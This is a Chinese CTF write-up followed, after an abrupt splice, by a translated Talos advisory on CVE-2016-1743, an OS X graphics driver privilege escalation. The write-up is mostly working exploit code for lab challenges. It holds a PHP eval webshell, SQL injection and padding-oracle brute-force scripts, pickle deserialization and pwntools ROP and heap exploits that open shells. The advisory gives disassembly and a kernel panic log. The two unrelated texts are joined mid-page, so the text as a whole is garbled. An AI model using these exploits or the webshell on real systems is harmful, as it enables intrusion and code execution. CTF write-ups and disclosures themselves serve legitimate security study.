$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
上传文件后删除抓包，即可得到flag
### web2
1. 薅羊毛与逻辑漏洞
2. cookie伪造
3. python反序列化
首先批量注册筹款。
根据提示找到lv6的商品。
import requests
for i in range(2000):
a = requests.get('http://172.1.2.2/info/{}'.format(str(i)))
if 'lv6.png' in a.content:
print i
抓包修改折扣的参数，让我们买得起，购买成功从而获得后台路径。 <http://172.1.2.2/b1g_m4mber>
提示修改cookie，是个jwt，爆破一下，key是`1Kun`，篡改username为admin。
获得反序列化的机会。在源码中读到这个。
下载源码，找到反序列的地方。
import tornado.web
from sshop.base import BaseHandler
import pickle
import urllib
class AdminHandler(BaseHandler):
@tornado.web.authenticated
def get(self, *args, **kwargs):
if self.current_user == "admin":
return self.render('form.html', res='This is Black Technology!', member=0)
else:
return self.render('no_ass.html')
@tornado.web.authenticated
def post(self, *args, **kwargs):
try:
become = self.get_argument('become')
p = pickle.loads(urllib.unquote(become))
return self.render('form.html', res=p, member=1)
except:
return self.render('form.html', res='This is Black Technology!', member=0)
反序列化读文件。
### web3
获得的源码和实际服务器上代码完全不同。
有git泄露，但是没用。
在robots.txt找到备份
<http://172.1.2.5/backup.zip>
# -*- coding: utf-8 -*-
import sys
import string
import base64
import requests
def str_xor(a, b):
return ''.join([chr(ord(i) ^ ord(j)) for i, j in zip(a, b)])
#base_url = "http://172.2.100.103:23232/login.php"
base_url = "http://172.1.2.5/login.php"
cookies = {
'token': '',
'PHPSESSID': '4cc5fdroq2lcaeiflsjm3d9ueu'
}
tmp_iv = '0' * 16
tmp_ivs = list(tmp_iv)
value = []
# 只能破解出value后15个字符
for flag in range(1, 16):
for i in range(256):
# brute
tmp_ivs[15-len(value)] = chr(i)
cookies['token'] = base64.b64encode(''.join(tmp_ivs))
resp = requests.get(base_url, cookies=cookies)
if 'Error' not in resp.content:
value.append(flag ^ i)
# 更改初始向量
tmp_iv = '0' * (16-len(value)) + ''.join(chr(value[i] ^ (flag+1))
for i in range(len(value)-1, -1, -1))
tmp_ivs = list(tmp_iv)
#print resp.content
print flag, i, value
break
if i == 255:
print resp.content
print 'error'
break
# 逆序
value.reverse()
print value
value_ = ''.join(chr(v) for v in value)
fake_id = 'onepiece' + chr(8) *8
len_ = 0
for i in range(256):
# 爆破value 第一个字符
token = chr(i) + value_
iv = str_xor(token, fake_id)
cookies['token'] = base64.b64encode(iv)
# print cookies['token']
resp = requests.get(base_url, cookies=cookies)
if len_ != len(resp.content):
print i
print cookies
print resp.content
len_ = len(resp.content)
padding-oracle，代码中说把明文改成admin，结果hint说改成onepiece，汗
改对以后，admin.php还不给flag，和主办方说了才修复了环境。
### web4
1. 扫描得 hint.php
2. index.php 返回头带有 uploadupload.php
3. 通过 hint.php 伪协议可得全部代码
4. 新建文件夹i,内含一t.php
t.php 内容
<?php
$in=file_get_contents("php://input");
var_dump(eval($in));
?>
5. 通过 uploadupload.php 上传修改后缀为 jpg 的 phar
6. hint.php?name=phar://file/ce5193a069bea027a60e06c57a106eb6.jpg/i/t，得到 webshell
7. 菜刀连上获得 /flag.txt
### web5
sqlmap随便找个地方一把梭，好像是手机号可以注入。
然后select load_file('/flag.txt');
还有首页有一个文件包含，可以直接读取flag。
## web-day2
### web1
sql注入，用elf(bool,sleep(5))可以时间盲注，用\t绕过空格的校验。
import requests
import time
url = "http://172.1.2.1/index.php"
flag = ''
while True:
for i in range(128):
ss = time.time()
data = {
'id':'''ELT(left((select flag from ctf),{})='{}{}',SLEEP(1))'''.format(len(flag)+1,flag, chr(i))
}
#print data
requests.post(url,data=data)
if time.time()-ss>=0.5:
flag += chr(i)
print flag
break
EXP2
import requests
import string
dic = string.digits + string.letters + "!@$%^&*()_+{}-="
url = "http://172.1.15.1/index.php"
data = {
"id":""
}
l = 1
flag = ""
while(True):
for i in range(256):
# print i
data['id'] = "IF(substr((select flag from ctf),{},1)='{}',1,2)".format(l,chr(i))
data['id'] = data['id'].replace(" ","\n")
resp = requests.post(url,data=data)
# print(resp.content)
if "first" in resp.content:
flag += chr(i)
print flag
break
l+=1
### web2
1. 访问 <http://172.1.2.2/?src> 得到源码
2. 审计源码，添加了$_POST 绕过 $_REQUEST
3. url 转义 绕过 QUERY_STRING 匹配，数组绕过 md5
4. flag 参数用 data://text/plain,security 绕过
5. curl -X POST \
'[http://172.1.2.2/index.php?cyber%5B%5D=123&ciscn=ciscnsec%0A&flag=data%3A%2F%2Ftext%2Fplain%2Csecurity](http://172.1.2.2/index.php?cyber%5B%5D=123&ciscn=ciscnsec%0A&flag=data%3A%2F%2Ftext%2Fplain%2Csecurity)'
\
-H 'cache-control: no-cache' \
-H 'content-type: application/x-www-form-urlencoded' \
-H 'postman-token: 2422f808-0e28-ea5f-7613-a84c06e1a641' \
-d 'flag=1&cyber=1&ciscn=1'
【注意url编码绕过】
# pwn
## pwn-day1
### pwn1
直接栈溢出加ROP，劫持栈到bss段上，ROP调用system getshell
```python
from pwn import *
p = None
r = lambda x:p.recv(x)
rl = lambda:p.recvline
ru = lambda x:p.recvuntil(x)
rud = lambda x:p.recvuntil(x,drop=True)
s = lambda x:p.send(x)
sl = lambda x:p.sendline(x)
sla = lambda x,y:p.sendlineafter(x,y)
sa = lambda x,y:p.sendafter(x,y)
rn = lambda x:p.recvn(x)
def pwn():
global p
BIN_PATH = './guess'
DEBUG = 0
ATTACH = 0
context.arch = 'amd64'
if DEBUG == 1:
p = process(BIN_PATH)
elf = ELF(BIN_PATH)
context.log_level = 'debug'
context.terminal = ['tmux', 'split', '-h']
if context.arch == 'amd64':
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
else:
p = remote('172.1.2.6',8888)
# libc = ELF('./libc_32.so.6')
context.log_level = 'debug'
# 0x555555554000
if ATTACH==1:
gdb.attach(p,'''
b *0x4006a2
b *0x4006DA
set follow-fork-mode parent
''')
ru(' number.')
# sl('a'*(0x30-0x4)+p64(0x41348000)+'a'*0x100)
target = 0x601100+0x400
p_rdi_r = 0x0000000000400793
p_rsi_r15_r = 0x0000000000400791
leave_r = 0x4006DA
gets_plt = 0x400550
system_plt = 0x400530
# system_plt = 0x4006C8
payload = 'a'*(0x30-0x4)+p32(0x41348000)+p64(target)+p64(p_rdi_r)+p64(target)+p64(gets_plt)
# payload = 'a'*(0x30-0x4)+p32(0xdeadbeef)+p64(target)+p64(p_rdi_r)+p64(target)+p64(gets_plt)
payload += p64(leave_r)
sl(payload)
raw_input('ssss')
payload = p64(0xdeadbeef)+p64(p_rdi_r)+p64(target+0x50)+p64(p_rsi_r15_r)+p64(0)*2+p64(system_plt)
payload = payload.ljust(0x50,'\x00')
payload += '/bin/sh\x00'
sl(payload)
p.interactive()
if **name** == ' **main** ':
pwn()
### pwn5
还是简单的栈溢出，存在rwx的段，第一次读入的shellcode字节数长度不够，可以在溢出的时候ROP调用gets往rwx段读入不受长度限制的shellcode，在跳转到shellcode执行即可getshell
```python
from pwn import *
p = None
r = lambda x:p.recv(x)
rl = lambda:p.recvline
ru = lambda x:p.recvuntil(x)
rud = lambda x:p.recvuntil(x,drop=True)
s = lambda x:p.send(x)
sl = lambda x:p.sendline(x)
sla = lambda x,y:p.sendlineafter(x,y)
sa = lambda x,y:p.sendafter(x,y)
rn = lambda x:p.recvn(x)
def pwn():
global p
BIN_PATH = './pwn'
DEBUG = 0
ATTACH = 0
context.arch = 'amd64'
if DEBUG == 1:
p = process(BIN_PATH)
elf = ELF(BIN_PATH)
context.log_level = 'debug'
context.terminal = ['tmux', 'split', '-h']
if context.arch == 'amd64':
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
else:
p = remote('172.1.2.8',8888)
# libc = ELF('./libc_32.so.6')
context.log_level = 'debug'
# 0x555555554000
if ATTACH==1:
gdb.attach(p,'''
b *0x4006A4
''')
p_rdi_r = 0x0000000000400713
p_rsi_r15 = 0x0000000000400711
gets_plt = 0x400510
target = 0x601080
payload = 'aaaa'
info(hex(len(payload)))
sla('name',payload)
payload = '\x00'*0x20+p64(0xdeadbeef)+p64(p_rdi_r)+p64(target)+p64(gets_plt)+p64(target)
sla('to me?',payload)
raw_input('sss')
sl(asm(shellcraft.sh()))
p.interactive()
if __name__ == '__main__':
pwn()
### pwn2
这题的给的libc为2.29，有tcache，但是该版本的libc对tcache进行了double
free的检测。(具体怎么检测的感兴趣的可以看一下源码)。
程序在delete的时候只是将标志字段设置为0，并没有将指针清零，而程序在delete和addMoney中，没有对flag标志进行检查。这样就可以修改已在tcache中的chunk的key（key与money是对应的），进而就可以double
free了，然后改bss上的指针就可以了。
from pwn import *
context(arch = 'amd64', os = 'linux', endian = 'little')
context.log_level = 'debug'
def create(name, age):
p.recvuntil('Your choice: ')
p.sendline('1')
p.recvuntil('name:')
p.send(name)
p.recvuntil('age:')
p.send(str(age))
def delete(idx):
p.recvuntil('Your choice: ')
p.sendline('2')
p.recvuntil('Index:')
p.send(str(idx))
def edit(idx, name, age):
p.recvuntil('Your choice: ')
p.sendline('3')
p.recvuntil('Index:')
p.send(str(idx))
p.recvuntil('name:')
p.send(name)
p.recvuntil('age:')
p.send(str(age))
def show(idx):
p.recvuntil('Your choice: ')
p.sendline('4')
p.recvuntil('Index:')
p.send(str(idx))
def add(idx):
p.recvuntil('Your choice: ')
p.sendline('5')
p.recvuntil('Index:')
p.send(str(idx))
def buy(idx, addr, l):
p.recvuntil('Your choice: ')
p.sendline('6')
p.recvuntil('Index:')
p.send(str(idx))
p.recvuntil('leak:')
p.sendline(str(addr))
p.recvuntil('leak:')
p.sendline(str(l))
def GameStart(ip, port, debug):
global p
if debug == 1:
p = process('./pwn')
else:
p = remote(ip, port)
libc = ELF("./libc.so")
create('emmm', 10)
delete(0)
add(0)
delete(0)
create(p64(0x602060), 10)
create(p64(0x601FA8), 10)
create(p64(0x601F88), 10)
add(2)
show(0)
p.recvuntil('name: ')
libc.address = u64(p.recvn(6) + '\x00' * 2) - libc.symbols['free']
log.info('libc addr is : ' + hex(libc.address))
edit(2, p64(libc.symbols['__free_hook']), next(libc.search('/bin/sh')))
edit(0, p64(libc.symbols['system']), 10)
delete(1)
p.interactive()
if __name__ == '__main__':
GameStart('172.1.2.7', 8888, 0)
### pwn3
在创建Text类型的Note的时候，如果type不对或是size过大，程序会return，但是结构体中的两个函数指针已经被赋值为Int类型的函数指针了，而type的值还是之前保留下来的脏数据，由此可以泄露heap地址。程序还存在UAF漏洞，这样就可以double
free来改Note结构体中的函数指针为`plt@system`，删除对应的Note即可getshell。
from pwn import *
p = None
r = lambda x:p.recv(x)
rl = lambda:p.recvline
ru = lambda x:p.recvuntil(x)
rud = lambda x:p.recvuntil(x,drop=True)
s = lambda x:p.send(x)
sl = lambda x:p.sendline(x)
sla = lambda x,y:p.sendlineafter(x,y)
sa = lambda x,y:p.sendafter(x,y)
rn = lambda x:p.recvn(x)
def add(idx,typ,value,size=0):
sla('CNote > ',str(1))
sla('Index > ',str(idx))
sla('Type > ',str(typ))
if typ==1:
sla('Value > ',str(value))
else:
sla('Length > ',str(size))
if size<=0x400:
sa('Value > ',value)
def delete(idx):
sla('CNote > ',str(2))
sla('Index > ',str(idx))
def show(idx):
sla('CNote > ',str(3))
sla('Index > ',str(idx))
def pwn():
global p
BIN_PATH = './torchwood'
DEBUG = 0
ATTACH = 0
context.arch = 'i386'
if DEBUG == 1:
p = process(BIN_PATH)
elf = ELF(BIN_PATH)
context.log_level = 'debug'
context.terminal = ['tmux', 'split', '-h']
if context.arch == 'amd64':
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
else:
p = remote('172.1.2.9',8888)
# libc = ELF('./libc_32.so.6')
context.log_level = 'debug'
# 0x555555554000
# if ATTACH==1:
# gdb.attach(p,'''
# b *0x08048AC1
# ''')
# add(idx,typ,value,size=0)
# leak heap addr
add(0,2,'aaaa\n',0x38)
add(1,1,0x1234)
delete(0)
add(2,2,'aaaa\n',0x500)
show(2)
ru('Value=')
heap_addr = int(ru(')')[:-1])
log.info('heap addr: '+hex(heap_addr))
heap_base = heap_addr-0x18
log.info('heap base: '+hex(heap_base))
add(3,2,'e3pem\n',0x38)
# double free
payload = 'a'*0x28+p32(0)+p32(0x41)+'\n'
add(4,2,payload,0x38)
add(5,2,'aaaa\n',0x38)
add(6,1,0x1234)
delete(4)
delete(5)
delete(4)
payload=p32(heap_base+0xb0)+'\n'
add(7,2,payload,0x38)
add(8,2,'/bin/sh\x00\n',0x38)
add(9,2,'aaaa\n',0x38)
delete(1)
if ATTACH==1:
gdb.attach(p,'''
b *0x08048AC1
b *0x0804895A
''')
payload = '\x00'*8+p32(0)+p32(0x11)+'sh\x00\x00'+p32(0x8048500)+p32(heap_base+0xd8)+'\x41'+'\n'
add(10,2,payload,0x38)
delete(8)
# add(0,1,0x1234)
# payload = 'e3pem\n'
# add(2,2,payload,0xa0)
p.interactive()
if __name__ == '__main__':
pwn()
### pwn4
libc 2.23的off-by-one，程序没有开`PIE`。可以很方便的构造堆块重叠，进而可以改在堆中的结构体，造成任意地址写（改got表、`_IO_list_all`等都可以）。
from pwn import *
context(arch = 'amd64', os = 'linux', endian = 'little')
context.log_level = 'debug'
def build(size, data):
p.recvuntil('Your choice :')
p.sendline('1')
p.recvuntil(' nest ?')
p.sendline(str(size))
p.recvuntil('the nest?')
p.send(data)
def offbyone(idx, data):
p.recvuntil('Your choice :')
p.sendline('2')
p.recvuntil('Index :')
p.sendline(str(idx))
p.recvuntil('the nest?')
p.send(data)
def show(idx):
p.recvuntil('Your choice :')
p.sendline('3')
p.recvuntil('Index :')
p.sendline(str(idx))
def delete(idx):
p.recvuntil('Your choice :')
p.sendline('4')
p.recvuntil('Index :')
p.sendline(str(idx))
def VTCBypassOneGadget(vtable_addr, one_gadget_addr, io_list_all_addr):
exp = p64(0) + p64(0x61) + p64(0) + p64(io_list_all_addr - 0x10)
exp += p64(0) + p64(1) + p64(0) + p64(0) + p64(0) + p64(0) * 6 + p64(0) + p64(0) * 4
exp += p64(0) + p64(2) + p64(3) + p64(0) + p64(0xffffffffffffffff) + p64(0) * 2 + p64(vtable_addr - 0x18) + p64(one_gadget_addr)
return exp
def GameStart(ip, port, debug):
global p
if debug == 1:
p = process('./wood', env = {'LD_PRELOAD' : './libc.so.6'})
else:
p = remote(ip, port)
libc = ELF('./libc.so.6')
build(0x10, 'emmmmm')
build(0x10, 'emmmmm')
delete(0)
delete(1)
build(0x28, 'emmmm')
build(0xf0, 'emmmm')
build(0xe0, 'emmmm')
offbyone(0, '\x00' * 0x28 + '\xf1')
delete(1)
build(0x300, '\x00' * 0xf0 + p64(0) + p64(0xf1) + '\x00' * 0xe0 + p64(0) + p64(0x21) + '\x00' * 0x10 + p64(0) + p64(0x21))
delete(2)
build(0xe0, 'a' * 8)
show(2)
p.recvuntil('aaaaaaaa')
libc.address = u64(p.recvn(6) + '\x00' * 2) - libc.symbols['__malloc_hook'] - 0x10 - 0x58
log.info('libc addr is : ' + hex(libc.address))
delete(2)
one_gadget = 0x45216
one_gadget = 0x4526a
# one_gadget = 0xf02a4
# one_gadget = 0xf02b0
# one_gadget = 0xf1147
offbyone(1, '\x00' * 0xf0 + VTCBypassOneGadget(libc.address + 0x3C33F8, libc.address + one_gadget, libc.symbols['_IO_list_all']))
# gdb.attach(p)
p.recvuntil('Your choice :')
p.sendline('1')
p.recvuntil(' nest ?')
p.sendline(str(0x100))
p.interactive()
if __name__ == '__main__':
GameStart('172.1.2.10', 8888, 0)
## pwn-day2
### pwn2
输入666即可泄露libc地址，程序在读取`Author
name:`的时候多读了8字节，刚好覆盖了下一个字段，该字段为指针，这样就能实现任意地址写了。利用任意地址写来修改`stderror`结构体的vtable指针，指向我们可控的地方，exit触发虚表调用即可getshell
from pwn import *
p = None
r = lambda x:p.recv(x)
rl = lambda:p.recvline
ru = lambda x:p.recvuntil(x)
rud = lambda x:p.recvuntil(x,drop=True)
s = lambda x:p.send(x)
sl = lambda x:p.sendline(x)
sla = lambda x,y:p.sendlineafter(x,y)
sa = lambda x,y:p.sendafter(x,y)
rn = lambda x:p.recvn(x)
def add(length,name):
sla('-> ',str(1))
sla('Length: ',str(length))
sa('name:',name)
def pwn():
global p
BIN_PATH = './pwn'
DEBUG = 0
ATTACH = 0
context.arch = 'amd64'
if DEBUG == 1:
p = process(BIN_PATH)
elf = ELF(BIN_PATH)
context.log_level = 'debug'
context.terminal = ['tmux', 'split', '-h']
if context.arch == 'amd64':
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
else:
p = remote('172.1.2.4',8888)
libc = ELF('./libc2.so')
context.log_level = 'debug'
# 0x555555554000
if ATTACH==1:
gdb.attach(p,'''
b *0x555555554000+0xa77
b *0xf30+0x555555554000
''')
sla('-> \n',str(666))
# print ru('\n')
libc_base = int(ru('\n')[:-1],16)-libc.sym['puts']
log.info('libc addr: '+hex(libc_base))
# add
payload = 'a'*8+p64(libc_base+libc.sym['_IO_2_1_stderr_'])
add(0xe0,payload)
sla('-> \n',str(2))
sla('New ','e3pem')
fake_file = ('/bin/sh\x00'+p64(0x61)+p64(0)+p64(libc.sym['_IO_list_all']-0x10)+p64(libc.sym['_IO_list_all'])+p64(libc.sym['_IO_list_all']+0x10))
fake_file += p64(libc_base+libc.sym['_IO_2_1_stderr_']+56)+p64(0)*2+p64(libc_base+libc.sym['system'])*5+p64(0)*6+p64(0)+p64(0)*3+p64(0xffffffffffffffff)
fake_file = fake_file.ljust(0xd8,'\x00')
fake_file += p64(libc_base+libc.sym['_IO_2_1_stderr_']+8*6)
payload = fake_file
print hex(len(fake_file))
sla('contents:\n',payload)
ru('Over.')
sla('-> \n',str(4))
p.interactive()
if __name__ == '__main__':
pwn()
### pwn3
是一个逆向题目，输入24个字符，类似自动机一样处理数据。运算完之后和结果比对，若对于每个字符a，abs(a-target)<=1，就给你shell。
ida里可以提取十六进制，然后把他写个脚本转换为 long double型的数。
# coding:utf-8
from pwn import *
con = remote("172.1.2.5",8888)
con.recvuntil('Input something')
target = [224.000000,60.000000,196.000000,119.000000,127.000000,179.000000,1.000000,77.000000,173.000000,109.000000,29.000000,111.000000,195.000000,194.000000,100.000000,108.000000,1.339806,60.000000,0.640625,42.000000,260.000000,44.529411,79.000000,143.000000]
# 参数
v11 = [0x1,0x10,0x25,0x3,0x0D,0x0A,0x2,0x0B,0x28,0x2,0x14,0x3F,0x1,0x17,0x3C,0x1,0x0,0x69,0x1,0x12,0x3F,0x2,0x0E,0x77,0x3,0x15,0x53,0x2,0x0E,0x7D,0x3,0x5,0x0A,0x2,0x4,0x55,0x2,0x15,0x33,0x2,0x15,0x5,0x1,0x5,0x2F,0x3,0x7,0x43,0x1,0x11,0x39,0x3,0x0D,0x27,0x1,0x5,0x1E,0x3,0x4,0x3C,0x1,0x13,0x1E,0x3,0x1,0x78,0x1,0x0,0x20,0x2,0x0F,0x53,0x3,0x14,0x2B,0x3,0x14,0x28,0x3,0x0A,0x19,0x3,0x12,0x60,0x1,0x5,0x7E,0x3,0x0F,0x20,0x1,0x0F,0x58,0x2,0x11,0x51,0x1,0x0B,0x24,0x1,0x17,0x79,0x1,0x0E,0x4A,0x3,0x10,0x67,0x2,0x16,0x5C,0x3,0x9,0x6D,0x1,0x17,0x30,0x2,0x0A,0x2C,0x3,0x7,0x3F,0x3,0x7,0x43,0x1,0x4,0x4,0x2,0x0,0x0F,0x1,0x2,0x63,0x2,0x3,0x70,0x1,0x8,0x7B,0x2,0x6,0x14C,0x2,0x0B,0x7A,0x1,0x0C,0x0D0,0x2,0x11,0x22,0x2,0x13,0x66,0x4,0x15,0x0BB,0x4,0x12,0x80,0x4,0x10,0x67,0x4,0x1,0x0D8,0x1,0x3,0x80,0x1,0x4,0x2,0x4,0x4,0x12,0x4,0x5,0x7,0x1,0x6,0x0DA,0x4,0x7,0x43,0x4,0x7,0x43,0x4,0x7,0x5A,0x2,0x8,0x42,0x4,0x9,0x5F,0x4,0x0A,0x59,0x1,0x0B,0x79,0x2,0x0C,0x6C,0x4,0x0D,0x0C3,0x1,0x0E,0x0AF,0x4,0x0F,0x0A,0x4,0x10,0x67,0x4,0x12,0x0C0,0x4,0x14,0x2B,0x4,0x14,0x8,0x1,0x16,0x6C,0x2,0x17,0x0D3]
assert(len(target)==24)
v11.reverse()
# 三个一组
for i in range(0,232,3):
# 反向
op_ = v11[i+2]
index_ = v11[i+1]
num_ = v11[i]
if op_ == 2:
target[index_] += num_
if op_ == 3:
target[index_] /= num_
if op_ == 4:
target[index_] *= num_
if op_ == 1:
target[index_] -= num_
result = ''
for op in target:
result += chr(int(op))
con.sendline(result)
con.interactive() | 社区文章 |
# CVE-2016-1743苹果OS X 本地提权漏洞
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
原文地址：<http://www.talosintel.com/reports/TALOS-2016-0088/>
译文仅供参考，具体内容表达以及含义原文为准。
**TALOS 漏洞报告**
苹果OS X GEN6ACCELERATOR IOGEN575SHARED :: NEW_TEXTURE本地提权漏洞
**报告 ID：**
CVE-2016-1743
**概要：**
这是一个存在于Apple Intel HD 3000图形内核驱动的通信函数中的漏洞。该漏洞通过发送特定的请求消息进行本地权限提升。
**经测试的版本：**
Apple OSX Intel HD 3000 Graphics driver 10.0.0 –
com.apple.driver.AppleIntelHD3000Graphics (10.0.0)
D3CFD566-1AE5-3315-B91B-B8264A621EB5 <78 12 7 5 4 3 1>
**产品网址：**
[http://apple.com](http://apple.com/)
**CVSS V3 评分：**
8.8 – CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H/E:F/RL:U/RC:C
****
**漏洞详情：**
此漏洞的触发方式是发送特殊的IOConnectCallMethod请求到AppleIntelHD3000Graphics驱动。
异常代码位于AppleIntelHD3000Graphics驱动程序的IOGen575Shared:: new_texture函数中。
__text:000000000001AA17 loc_1AA17: ; CODE XREF: IOGen575Shared::new_texture(ulong long,ulong long,ulong long,ulong long,uint,ulong long
*,ulong long *)+5Fj
__text:000000000001AA17 mov r14, cs:off_560B0
__text:000000000001AA1E mov rbx, [r14]
__text:000000000001AA21 add r13, rax
__text:000000000001AA24 lea rax, [rbx+r13+3]
__text:000000000001AA29 neg rbx
__text:000000000001AA2C and rbx, rax
__text:000000000001AA2F mov rdi, [rdx+18h] ; rdx=0 (null pointer - data from null page)
__text:000000000001AA33 mov r13, rdx
__text:000000000001AA36 mov eax, [rdi+1AB0h] ; attacker control eax now
__text:000000000001AA3C mov rcx, cs:off_560A8
__text:000000000001AA43 mov cl, [rcx]
__text:000000000001AA45 shl eax, cl
__text:000000000001AA47 lea rcx, _kLargeCommandSizeMin
__text:000000000001AA4E mov ecx, [rcx]
__text:000000000001AA50 add ecx, ecx
__text:000000000001AA52 sub eax, ecx
__text:000000000001AA54 cmp rbx, rax
__text:000000000001AA57 ja loc_1AC8C ; by forging rax attacker can skip this jump
__text:000000000001AA5D mov [rbp+var_54], esi
__text:000000000001AA60 mov rax, [rdi]
__text:000000000001AA63 mov esi, 168h
__text:000000000001AA68 call qword ptr [rax+980h] ; this leads to code execution (pointer controlled by attacker)
该漏洞的产生原因是地址为0x1AA2F的负责引用内存的指令当前不可用因为RDX寄存器指向零。此漏洞可导致本地权限提升，因为NULL
page可以在OSX系统中进行分配。攻击者可以伪造输入数据，然后强行让系统执行地址为0x1AA68的调用指针指令。这样的话，所有的指针数据就完全被攻击者控制了。
我们已经成功地在OS X10.11上利用了此漏洞。
**崩溃信息：**
Anonymous UUID: 47360100-9DC8-8EA0-F879-F28691AC90F1
Mon Nov 9 14:04:20 2015
*** Panic Report ***
panic(cpu 3 caller 0xffffff80063d6bba): Kernel trap at 0xffffff7f889e3a2f, type 14=page fault, registers:
CR0: 0x0000000080010033, CR2: 0x0000000000000018, CR3: 0x0000000105adc027, CR4: 0x00000000000626e0
RAX: 0x00000000cccce9f7, RBX: 0x00000000cccce000, RCX: 0x0000000000000088, RDX: 0x0000000000000000
RSP: 0xffffff90b2d53aa0, RBP: 0xffffff90b2d53b00, RSI: 0x0000000000000008, RDI: 0x0000000000000000
R8: 0x0000000000000000, R9: 0x00000000cccccccc, R10: 0xffffff90b2d53ba8, R11: 0xffffff8016f0c600
R12: 0xffffff8011adeabc, R13: 0x00000000ccccd9f4, R14: 0xffffff8006a2c8a0, R15: 0x0000000000000000
RFL: 0x0000000000010206, RIP: 0xffffff7f889e3a2f, CS: 0x0000000000000008, SS: 0x0000000000000010
Fault CR2: 0x0000000000000018, Error code: 0x0000000000000000, Fault CPU: 0x3, PL: 0
Backtrace (CPU 3), Frame : Return Address
0xffffff90b2d53730 : 0xffffff80062e5307
0xffffff90b2d537b0 : 0xffffff80063d6bba
0xffffff90b2d53990 : 0xffffff80063f4313
0xffffff90b2d539b0 : 0xffffff7f889e3a2f
0xffffff90b2d53b00 : 0xffffff7f889e56a5
0xffffff90b2d53b50 : 0xffffff80068e3c82
0xffffff90b2d53b80 : 0xffffff80068e48fa
0xffffff90b2d53be0 : 0xffffff80068e1967
0xffffff90b2d53d20 : 0xffffff80063a07d0
0xffffff90b2d53e30 : 0xffffff80062e9aa3
0xffffff90b2d53e60 : 0xffffff80062cd478
0xffffff90b2d53ea0 : 0xffffff80062dcfd5
0xffffff90b2d53f10 : 0xffffff80063c13aa
0xffffff90b2d53fb0 : 0xffffff80063f4b36
Kernel Extensions in backtrace:
com.apple.driver.AppleIntelHD3000Graphics(10.0)[D3CFD566-1AE5-3315-B91B-B8264A621EB5]@0xffffff7f889c9000->0xffffff7f88a2ffff
dependency: com.apple.iokit.IOPCIFamily(2.9)[8E5F549E-0055-3C0E-93F8-E872A048E31B]@0xffffff7f86b2d000
dependency: com.apple.iokit.IOGraphicsFamily(2.4.1)[48AC8EA9-BD3C-3FDC-908D-09850215AA32]@0xffffff7f8763a000
BSD process name corresponding to current thread: poc1
Boot args: debug=0x1 -v
Mac OS version:
15B42
Kernel version:
Darwin Kernel Version 15.0.0: Sat Sep 19 15:53:46 PDT 2015; root:xnu-3247.10.11~1/RELEASE_X86_64
Kernel UUID: AB5FC1B4-12E7-311E-8E6F-9023985D8C1D
Kernel slide: 0x0000000006000000
Kernel text base: 0xffffff8006200000
__HIB text base: 0xffffff8006100000
System model name: Macmini5,1 (Mac-8ED6AF5B48C039E1)
System uptime in nanoseconds: 9096437189164
last loaded kext at 280430056831: com.apple.filesystems.msdosfs 1.10 (addr 0xffffff7f88ecf000, size 69632)
last unloaded kext at 342241286226: com.apple.filesystems.msdosfs 1.10 (addr 0xffffff7f88ecf000, size 61440)
loaded kexts:
com.apple.driver.AudioAUUC 1.70
com.apple.driver.AppleHWSensor 1.9.5d0
com.apple.driver.ApplePlatformEnabler 2.5.1d0
com.apple.driver.AGPM 110.20.21
com.apple.driver.pmtelemetry 1
com.apple.iokit.IOUserEthernet 1.0.1
com.apple.iokit.IOBluetoothSerialManager 4.4.2f1
com.apple.Dont_Steal_Mac_OS_X 7.0.0
com.apple.filesystems.autofs 3.0
com.apple.driver.AppleOSXWatchdog 1
com.apple.driver.AppleMikeyHIDDriver 124
com.apple.driver.AppleHDA 272.50.31
com.apple.driver.AppleUpstreamUserClient 3.6.1
com.apple.driver.AppleMCCSControl 1.2.13
com.apple.driver.AppleMikeyDriver 272.50.31
com.apple.driver.AppleIntelHD3000Graphics 10.0.0
com.apple.driver.AppleHV 1
com.apple.driver.AppleThunderboltIP 3.0.8
com.apple.iokit.BroadcomBluetoothHostControllerUSBTransport 4.4.2f1
com.apple.driver.AppleSMCPDRC 1.0.0
com.apple.driver.AppleLPC 3.1
com.apple.driver.AppleIntelSlowAdaptiveClocking 4.0.0
com.apple.driver.ACPI_SMC_PlatformPlugin 1.0.0
com.apple.driver.AppleIntelSNBGraphicsFB 10.0.0
com.apple.driver.AppleIRController 327.5
com.apple.AppleFSCompression.AppleFSCompressionTypeDataless 1.0.0d1
com.apple.AppleFSCompression.AppleFSCompressionTypeZlib 1.0.0
com.apple.BootCache 37
com.apple.iokit.IOAHCIBlockStorage 2.8.0
com.apple.driver.AppleFWOHCI 5.5.2
com.apple.driver.AirPort.Brcm4331 800.20.24
com.apple.driver.AppleSDXC 1.7.0
com.apple.iokit.AppleBCM5701Ethernet 10.1.11
com.apple.driver.usb.AppleUSBEHCIPCI 1.0.1
com.apple.driver.AppleAHCIPort 3.1.5
com.apple.driver.AppleACPIButtons 4.0
com.apple.driver.AppleRTC 2.0
com.apple.driver.AppleHPET 1.8
com.apple.driver.AppleSMBIOS 2.1
com.apple.driver.AppleACPIEC 4.0
com.apple.driver.AppleAPIC 1.7
com.apple.driver.AppleIntelCPUPowerManagementClient 218.0.0
com.apple.nke.applicationfirewall 163
com.apple.security.quarantine 3
com.apple.security.TMSafetyNet 8
com.apple.driver.AppleIntelCPUPowerManagement 218.0.0
com.apple.AppleGraphicsDeviceControl 3.11.33b1
com.apple.iokit.IOSurface 108.0.1
com.apple.iokit.IOSerialFamily 11
com.apple.kext.triggers 1.0
com.apple.driver.DspFuncLib 272.50.31
com.apple.kext.OSvKernDSPLib 525
com.apple.driver.CoreCaptureResponder 1
com.apple.driver.AppleSMBusController 1.0.14d1
com.apple.iokit.IOBluetoothHostControllerUSBTransport 4.4.2f1
com.apple.iokit.IOBluetoothFamily 4.4.2f1
